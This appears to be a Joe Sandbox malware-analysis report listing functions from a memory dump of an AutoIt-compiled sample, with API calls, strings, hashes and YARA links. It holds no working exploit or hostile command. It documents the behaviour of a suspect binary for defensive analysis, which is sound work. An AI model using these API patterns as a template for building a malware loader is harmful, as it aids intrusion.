String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 1d281ea02de4815b41923e5496c00690b20d8a530a901a96c7ce2716ea70cf13
Instruction ID: 21717a0343429c5f57f5ce30a95a6c95f5622f9a5d9861b34c52d78339c0fb15
Opcode Fuzzy Hash: 1d281ea02de4815b41923e5496c00690b20d8a530a901a96c7ce2716ea70cf13
Instruction Fuzzy Hash: A0C2DF70618391DFD72ADF25D884BAAB7E4FF84300F54491DF58A8B2A1CB74E954CB82

Function 00300429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

GetForegroundWindow.USER32(00370980,?,?,?,?,?), ref: 003004E3
IsWindow.USER32(?), ref: 003366BB

Strings

TITLE, xrefs: 00336650
REGEXPTITLE, xrefs: 003364B4
LAST, xrefs: 00336472
CLASS, xrefs: 003364E5
INSTANCE, xrefs: 003365FA
HANDLE, xrefs: 0033649E
ALL, xrefs: 00336622
REGEXPCLASS, xrefs: 00336506
ACTIVE, xrefs: 00336488

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 3db2d4da261806795423c97c6360d9ada52edf4b8e9fe7355269a874e287ec71
Instruction ID: bb664c1b7335c72dfbb9535ff5c39f71efdfadafbc694ae3b95c71013472b7b7
Opcode Fuzzy Hash: 3db2d4da261806795423c97c6360d9ada52edf4b8e9fe7355269a874e287ec71
Instruction Fuzzy Hash: 88D1E830104606FFCB0AEF20C4D2AAAFBB4BF55384F508629F555475A2DB30E969CF92

Function 0033BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0033BAB1
_wcscmp.LIBCMT ref: 0033BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 0033BAEA
CharUpperBuffW.USER32(?,00000000), ref: 0033BB07
_wcscmp.LIBCMT ref: 0033BB25
_wcsstr.LIBCMT ref: 0033BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 0033BB6E
_wcscmp.LIBCMT ref: 0033BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 0033BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 0033BBEE
_wcscmp.LIBCMT ref: 0033BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 0033BC26
GetWindowRect.USER32(00000004,?), ref: 0033BC8F

Strings

ThumbnailClass, xrefs: 0033BB79, 0033BBF9
@, xrefs: 0033BA92

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 5c6e14bfc4eb2b60a68e6fac4c384e581548a44d3aec6fb9243bbadd06879cf1
Instruction ID: 07ccaff62840fef5b521f32e1c1eaa4f4bec54b6fcc2d85e5fb417b58a97e35c
Opcode Fuzzy Hash: 5c6e14bfc4eb2b60a68e6fac4c384e581548a44d3aec6fb9243bbadd06879cf1
Instruction Fuzzy Hash: 36819E710082099BDB16DF14C8C5FAAF7ECEF44354F04956AFE898A096DB34DE45CB61

Function 002E33E8 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 002E3444
RegisterClassExW.USER32(00000030), ref: 002E346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002E347F
InitCommonControlsEx.COMCTL32(?), ref: 002E349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002E34AC
LoadIconW.USER32(000000A9), ref: 002E34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002E34D1

Strings

0, xrefs: 002E3426
AutoIt v3 GUI, xrefs: 002E3460
TaskbarCreated, xrefs: 002E3474
+, xrefs: 002E342D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9d483e5f21ac77ac8f50369ecce7ba9eb1fc756a78b5ff434d8c5634636f2a09
Instruction ID: 276f7bd3aa10dba9ee3574bd1ccf6e62aaa190aa89f59f5a84a55e123f28c3b0
Opcode Fuzzy Hash: 9d483e5f21ac77ac8f50369ecce7ba9eb1fc756a78b5ff434d8c5634636f2a09
Instruction Fuzzy Hash: 4D316971845349EFDB628FA4DC89BC9BBF8FF0A320F10415AE594E62A0E3B90581CF50

Function 002E3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 002E3444
RegisterClassExW.USER32(00000030), ref: 002E346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002E347F
InitCommonControlsEx.COMCTL32(?), ref: 002E349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002E34AC
LoadIconW.USER32(000000A9), ref: 002E34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002E34D1

Strings

0, xrefs: 002E3426
AutoIt v3 GUI, xrefs: 002E3460
TaskbarCreated, xrefs: 002E3474
+, xrefs: 002E342D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9a33e3b255e2e87f975494c7768d8186f8553efe24d96ac4bae1c14f2b6fbd46
Instruction ID: af1264015ca3392264edd9ce4d58e9686ad87c18bc04b5edef3e53b6d2cd0079
Opcode Fuzzy Hash: 9a33e3b255e2e87f975494c7768d8186f8553efe24d96ac4bae1c14f2b6fbd46
Instruction Fuzzy Hash: 6621E2B1904309EFDB169FA4EC89B9DBBF8FB09710F00411AF518A62A0D7B51584CF91

Function 002F2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003000CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,002F3094), ref: 003000ED

Part of subcall function 003008C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,002F309F), ref: 003008E3

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 002F30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 003301BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 003301FB
RegCloseKey.ADVAPI32(?), ref: 00330239
_wcscat.LIBCMT ref: 00330292

Strings

\, xrefs: 003302B5
Software\AutoIt v3\AutoIt, xrefs: 002F30D8
\Include\, xrefs: 002F309F
Include, xrefs: 003301B1, 003301F2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: cbf5f382e70fac8cbd9f7cb90c88634aa5af946ba42d9fd66b30a70b98c97c26
Instruction ID: 636552863a1d426fea2cada67770bcaf8bafc023fa8c5cb92a548dcef0d18330
Opcode Fuzzy Hash: cbf5f382e70fac8cbd9f7cb90c88634aa5af946ba42d9fd66b30a70b98c97c26
Instruction Fuzzy Hash: 5C716B714153059EC316EF65D895ABBBBECFF86340F80492EF585C62A0EF309954CB52

Function 002F514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 002F5156
LoadCursorW.USER32(00000000,00007F00), ref: 002F5165
LoadIconW.USER32(00000063), ref: 002F517C
LoadIconW.USER32(000000A4), ref: 002F518E
LoadIconW.USER32(000000A2), ref: 002F51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 002F51C6
RegisterClassExW.USER32(?), ref: 002F521C

Part of subcall function 002E3411: GetSysColorBrush.USER32(0000000F), ref: 002E3444
Part of subcall function 002E3411: RegisterClassExW.USER32(00000030), ref: 002E346E
Part of subcall function 002E3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002E347F
Part of subcall function 002E3411: InitCommonControlsEx.COMCTL32(?), ref: 002E349C
Part of subcall function 002E3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002E34AC
Part of subcall function 002E3411: LoadIconW.USER32(000000A9), ref: 002E34C2
Part of subcall function 002E3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002E34D1

Strings

0, xrefs: 002F51FA
#, xrefs: 002F5201
AutoIt v3, xrefs: 002F520B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 7611798d5eaaf9e775a27e2ba07582a2147e0d555eb1bb28af2608ccfd0fcbdc
Instruction ID: a7acad49a2a32596194fba08a5b22a8aa9bac6e30237d057cae2ab648f6c2e5a
Opcode Fuzzy Hash: 7611798d5eaaf9e775a27e2ba07582a2147e0d555eb1bb28af2608ccfd0fcbdc
Instruction Fuzzy Hash: E7218D70E14308EFEB26DFA4ED89B9D7BB8FB0A310F000519F604A62A0D3B65550CF80

Function 00355E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00355E7E
inet_addr.WSOCK32(?,?,?), ref: 00355EC3
gethostbyname.WS2_32(?), ref: 00355ECF
IcmpCreateFile.IPHLPAPI ref: 00355EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00355F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00355F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00355FD8
WSACleanup.WSOCK32 ref: 00355FDE

Strings

Ping, xrefs: 00355F01

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 757b11c7c41c170a24d40ea864fd27a077c516d14875db9a1913f59f37c7bf19
Instruction ID: 58ebca6a77ba376b331c8a431788972842390e1f416a11ba7fa78ea9f3444ba4
Opcode Fuzzy Hash: 757b11c7c41c170a24d40ea864fd27a077c516d14875db9a1913f59f37c7bf19
Instruction Fuzzy Hash: 5D517C31604601DFD722EF24CC59F2AB7E8EF48721F154929F99ADB2A1DB70E944CB42

Function 002F4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 002F4E22
KillTimer.USER32(?,00000001), ref: 002F4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002F4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002F4E7A
CreatePopupMenu.USER32 ref: 002F4E8E
PostQuitMessage.USER32(00000000), ref: 002F4EAF

Strings

TaskbarCreated, xrefs: 002F4E75

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: cbbb1b42b085c38d6c3426453e58ca062d7549d29d6f22cb048e415980669265
Instruction ID: 3837bf383053b137484c8b7e652b1a6b797364220763131ac92302fe959cc083
Opcode Fuzzy Hash: cbbb1b42b085c38d6c3426453e58ca062d7549d29d6f22cb048e415980669265
Instruction Fuzzy Hash: 9C41C73127424EAAEB2B7F64DC89B7BB65DF745340F000535F701961A2DBE498709B61

Function 002F56F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00330C5B

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

_memset.LIBCMT ref: 002F5787
_wcscpy.LIBCMT ref: 002F57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002F57EB
__swprintf.LIBCMT ref: 00330CD1

Strings

Line %d: , xrefs: 00330CCB
AutoIt - , xrefs: 002F5760

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: b46238299c0a60e2e0dbb81490c6fb5560c2a62a1575f23de38f7f8b531e336b
Instruction ID: 4cd0ea7e01fa54c08e9672f86a748b0524ec6d0fdb06ee394311a17725e288c4
Opcode Fuzzy Hash: b46238299c0a60e2e0dbb81490c6fb5560c2a62a1575f23de38f7f8b531e336b
Instruction Fuzzy Hash: D641CC711183089AD326FB60DC95FEFF7DC9F45390F400A2EF285960A1DB70A669CB96

Function 002F50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 002F5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 002F512A
ShowWindow.USER32(00000000), ref: 002F513E
ShowWindow.USER32(00000000), ref: 002F5147

Strings

edit, xrefs: 002F5124
AutoIt v3, xrefs: 002F5101, 002F5106, 002F5107

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 49fe7940ee3f24e3265c7e54bbe9131f3641e6f125df70f9de38b73ef3eb9caa
Instruction ID: c48d79c581254204d5b590553385b2437a011f6434b959f0fe803ef357d8541e
Opcode Fuzzy Hash: 49fe7940ee3f24e3265c7e54bbe9131f3641e6f125df70f9de38b73ef3eb9caa
Instruction Fuzzy Hash: 42F0D471645294BEEA361B27AC88F672E7DEBC7F60F00451ABA04A21B0C6651891DAB0

Function 00349B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 002F4A8C: _fseek.LIBCMT ref: 002F4AA4

Part of subcall function 00349CF1: _wcscmp.LIBCMT ref: 00349DE1
Part of subcall function 00349CF1: _wcscmp.LIBCMT ref: 00349DF4

_free.LIBCMT ref: 00349C5F
_free.LIBCMT ref: 00349C66
_free.LIBCMT ref: 00349CD1

Part of subcall function 00302F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00309C54,00000000,00308D5D,003059C3), ref: 00302F99
Part of subcall function 00302F85: GetLastError.KERNEL32(00000000,?,00309C54,00000000,00308D5D,003059C3), ref: 00302FAB

_free.LIBCMT ref: 00349CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00349B8F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 5b8a27329d60e107cdd3c070d6c626b1ae302f54b897892abebb731fe16f9765
Instruction ID: 673d7f5d5748d4c0d3457d49779161194b2187c68e211fb826c1aee5df087eb6
Opcode Fuzzy Hash: 5b8a27329d60e107cdd3c070d6c626b1ae302f54b897892abebb731fe16f9765
Instruction Fuzzy Hash: 27514EB1D04219AFDF25DF64DC85AAEBBB9FF48304F0000AEB649A7281D7715E908F58

Function 0030563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0030569B
_memcpy_s.LIBCMT ref: 0030570D
__read_nolock.LIBCMT ref: 0030576B
__filbuf.LIBCMT ref: 0030578E
_memset.LIBCMT ref: 003057D2

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: db8472c92187199f51ff4225beb758e0fe2b8fbe127b8349407cef8dac3bd355
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: 6B51E530A02B09DBDB2A8F79C8A066F77B5AF04720F258729F835966D0D7719D50AF40

Function 002E52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002E52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002E534A
TranslateMessage.USER32(?), ref: 002E5356
DispatchMessageW.USER32(?), ref: 002E5360

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 467c0fa0f21a0b6b52a0a93f75cf68b20f17ca17903690d5c0f6d9b717661d9f
Instruction ID: c9f084465d190451b39f7324ab6bf98fba23f1873deb49314b251617ce114914
Opcode Fuzzy Hash: 467c0fa0f21a0b6b52a0a93f75cf68b20f17ca17903690d5c0f6d9b717661d9f
Instruction Fuzzy Hash: 9A3126309B87869BEB36CF65CC84BF977ECAB06308F90009AE522871D1D7F5A895D711

Function 002EAB5B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137comCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 002EAD08
OleInitialize.OLE32(00000000), ref: 002EAD85

Strings

<w:, xrefs: 002EAC6B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HandleInitialize
String ID: <w:
API String ID: 3139323997-1950544741
Opcode ID: 2c37575a8e7c74fd00b3845d6bd6d36fba7a87ab474e4009a83cf2a09d783076
Instruction ID: 0095963674200b3132628288171d675852d45d47054505aa312a0074e83cfb0f
Opcode Fuzzy Hash: 2c37575a8e7c74fd00b3845d6bd6d36fba7a87ab474e4009a83cf2a09d783076
Instruction Fuzzy Hash: F761A6B191D2818EC79BDF2AADC42657EECEB5F304F10816AD448CB2B2E73404068F51

Function 002E1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,002E1275,SwapMouseButtons,00000004,?), ref: 002E12A8
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,002E1275,SwapMouseButtons,00000004,?), ref: 002E12C9
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,002E1275,SwapMouseButtons,00000004,?), ref: 002E12EB

Strings

Control Panel\Mouse, xrefs: 002E12A6

